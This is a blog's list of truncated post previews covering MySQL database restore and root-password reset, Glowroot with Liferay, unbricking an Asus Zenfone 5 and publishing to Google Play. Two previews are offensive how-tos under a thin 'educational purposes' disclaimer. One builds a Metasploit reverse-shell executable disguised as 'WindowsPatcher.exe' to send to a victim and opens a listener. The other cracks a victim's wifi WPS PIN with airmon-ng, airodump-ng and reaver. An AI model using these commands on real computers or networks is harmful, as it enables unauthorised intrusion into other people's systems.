Posts

Restore Database from .idb & .frm files in MySQL

Image
  Prerequisites:                Backup of .ibd and .frm files: Ensure you have all the relevant .ibd (InnoDB data files) and .frm (table definition files) for the tables you want to restore. MySQL Server: Ensure you have a running instance of MySQL server where you want to restore the database. Step 1: Stop Current Running MySQL Service Step 2: Copy ibdata1, ib_logfile0 and ib_logfile1 files from Old Mysql forlder Which is exist (C:\ProgramData\MySQL\MySQL Server x.x\Data).   Step 3: Copy your Database Folder which you want to restore and paste into your current mysql instance data folder.   Step 4: Change the configuration of my.ini file Add  –innodb_force_recovery=6 after the [mysqld] (please search inside my.ini file [mysqld]). Step 5: S tart the mysql service. Step 6: After recovering the database please remove the line innodb_force_recovery=6 from my.ini configuration and restart again mysql service.  

Reset the MySQL root Password

  sudo /etc/init.d/mysql stop This command stops the running MySQL service. If you try to start MySQL in mysqld_safe mode without stopping the regular service, you may encounter conflicts. mkdir /var/run/mysqld This command creates the directory used by MySQL for its socket file and other runtime data. If this directory doesn't exist, MySQL might fail to start. sudo chown mysql /var/run/mysqld/ This command sets the ownership of /var/run/mysqld to the mysql user. This is necessary to allow MySQL to create and use files within this directory. sudo mysqld_safe --skip-grant-tables & This command starts MySQL in "safe" mode without enforcing user authentication or privileges. The & at the end runs it in the background, allowing you to continue using the terminal. sudo mysql --user=root mysql Since --skip-grant-tables is enabled, no password is required. This command connects to MySQL as root and selects the mysql database, which contains user infor

How to configure Glowroot with Liferay

Image
 Dear Folks, First of all we need to know what is Glowroot and what can we get from it. Features Trace capture for slow requests and errors Continuous profiling (with very handy filtering) Response time breakdown charts Response time percentile charts SQL capture and aggregation Service call capture and aggregation MBean attribute capture and charts Configurable alerting Historical rollup of all data (1m, 5m, 30m, 4h) with configurable retention Full support for async requests that span multiple threads Responsive UI with mobile support Optional central collector Step 1: Download Glowroot from Official website and extract that zip into your drive (                     Like: C:\glowroot). Now open your Liferay workspace and in the Servers tab double click on your server and click on the Browse External properties button and write your glowroot file path with javaagent. (Ex:-  -javaagent:path/to/glowroot.jar) After that restart your Liferay server and your gloroot will start on default

How to Get Back Asus Zenphone 5 from Soft Brick

Image
Dear Folks, Very Warm Welcome, Now I'm Writing this post for those who have facing hard bricked problem in #AsusZenphone5. Before some days same problem i have faced and i was fully fade up with my phone and i go too many shops for  repairing the phone but they charged too much for this. then i decided too solve it. So when your phone is in USB Logo mode or Asus Logo Mode Then it's confirmed your phone has been bricked. So, let’s start! There are some files, please prepare to download :   IntelAndroidDrvSetup1.5.0.exe Asus USB Driver. Download  here  Asus Zenfone 5 RAW firmware. Download   here   xfstk-downloader-setup-1.5.1.exe   iSocUSB-Driver-Setup-1.0.4.exe Recovery Image. Download  here ADB + Fastboot. Download  here Instruction :  install above driver as per ranking. follow these instruction while installing: Right click on setup Select run as administrator  Note  : while installing isoc drive system may ask you to connect your device or resta

HOW TO HACK WINDOWS 8/10 USING KALI 2.0

Image
Dear Friends, Today I’m gonna tell you. How to hack windows 8/10 using Kali 2.0 It's very easy do some step which i explained below. Note:- “This video is only for educational purposes. My motive to provide basic information about that”   Step:1- You should have kali 2.0 run kali 2.0 Step:2-  Open Terminal ( CTRL + ALT + T ) Step:3-   Type the following commands on terminal. Step:4- Check your ip by using                     ifconfig  Step:5- Now create the exploit file like exe or bat        msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.7.6.177 LPORT=4444 -f exe > /root/Desktop/WindowsPatcher.exe after that command executed a exe file generated copy that file and send it to victim computer using link or usb  Step:6- Now the terminal and type                      msfconsole  after this command metasploit framework will be open Step:7- Now type                       use multi/handler                      set PAYLOAD windows

HOW TO HACK WIFI PASSWORD USING KALI LINUX

Image
Dear Friends, Today I’m gonna tell you. How to hack wifi It's very easy do some step which i explained below. Note:- “This video is only for educational purposes. My motive to provide basic information about that”   Step:1- You should have kali 2.0 run kali 2.0 Step:2-  Open Terminal ( CTRL + ALT + T ) Step:3-   Type the following commands on terminal. airmon-ng check   (to check any process is running if yes then type next command) airmon-ng check kill   (to kill all running process) Step:4-  Enable Monitor mode. Now, we use a tool called airmon-ng to create a virtual interface called mon. so type command airmon-ng start wlan0     (to create a monitor mode like:-wlan0mon) Step:5- Type another command  airodump-ng wlan0mon   after some time press    Ctrl+c Step:6-  Copy the BSSID of Victim. And write it on this command. reaver -i wlan0mon -b (BSSID) -vv -K 1 For ex: reaver -i wlan0mon -c 1 -b AB:CG:76:12:C7:10 -vv -K 1 After some time

How to submit an App to Google Play store

Image
Login to your Google play account: https://market.android.com/publish/Home   Purchase Google play certificate in $25 then Download the apk file from Conduit mobile platform.            In your Google play account click "Add new application"            Add your app name in Title rubric. Then click Upload APK.           Click "Upload your first APK" and upload the APK file you downloaded from Conduit mobile platform on step 1.          Choose Store listing from the list on left screen          Add your app description           Scroll down to add your App's Graphics assets. The minimum are 2 phone screen shots and a High res icon images.      Phone screen shots dimensions required are: 320(w)X640(L)      High res icon dimensions: 512X512         * If you have a nice feature graphic and a promo graphic, or a video introducing your business or your app purpose           you can add these as well and it will appear on the App in marketplace.            Scrol